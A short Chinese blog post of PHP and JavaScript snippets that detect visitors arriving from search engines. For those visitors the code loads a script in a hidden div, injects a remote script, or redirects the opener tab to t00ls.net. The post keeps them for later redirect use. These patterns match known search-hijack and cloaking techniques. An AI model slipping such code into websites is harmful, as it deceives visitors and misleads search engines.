根据搜索来路 弹出相应广告
2013-07-21 16:22
176 查看
根据搜索来路 弹出相应广告 以下是一段php判断搜索引擎的代码 <?PHP $referer = $_SERVER['HTTP_REFERER']; if(!$referer == ''){ if(ereg('http',$referer)){ $referer = @eXPlode('.',$referer); if(is_array($referer)){ $referer = $referer['1']; if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){ ?> <div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script> </div><?php } } } } ?> 而通过Js判断搜索引擎来路的代码则如下 <script type="text/javascript"> function elem(e,url){ var h=document.createElement(e); h.src=url; document.getElementsByTagName('head')[0].appendChild(h); } function refer(){ var ref=document.referrer; var baidu=ref.indexOf("baidu"); var soso=ref.indexOf("soso"); var google=ref.indexOf("google"); if(baidu!=-1||soso!=-1||google!=-1){ elem("script","http://127.0.0.1/js.js"); } } refer() </script> 另外附上自己百度谷歌的一份代码 <script language="javascript"> var s=document.referrer if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 ) window.opener.navigate("http://www.t00ls.net") </script> 留着备用,以后准备份代码,用来做判断搜索引擎做跳转。
相关文章推荐
- js根据时间弹出广告
- 根据时间弹出广告
- js 根据图片大小弹出大小相应的窗口
- 如何根据表名或视图名寻找相应后台配置路径
- 是查看一个目录,根据文件的数目,启动相应的进程数
- MFC中根据数据绘制相应的柱状图
- 搜索广告排序与定价
- win7中输入文件夹首字母跳到相应的文件或者文件夹,却在搜索栏出现输入的字母
- 关于类似于电信弹出广告(push业务),使用ROS与简单web服务器实现
- 如何根据相机来选择相应的图像采集卡
- 在web项目中 使用 WebService 根据IP地址来源搜索实际物理地址,常用的WebServices
- js 删除 根据不同情况,弹出不同窗口。
- Ext.js5(弹出搜索表单)(给一个面板添加数据)(34)
- 浅谈asp.net通过本机cookie仿百度(google)实现搜索input框自动弹出搜索提示
- 根据选中treeView节点的值弹出菜单界面
- 根据当前位置搜索从近到远的酒店
- java面试编程题------ 根据输入的数字,转化为相应的字符串。(123456 ---> 一十二万三千四百五十六圆)
- MySQL数据库通过字段名来搜索相应的表
- php的curl根据关键词爬取联邦创业网百度搜索结果页
- jQuery实现网页右下角弹出广告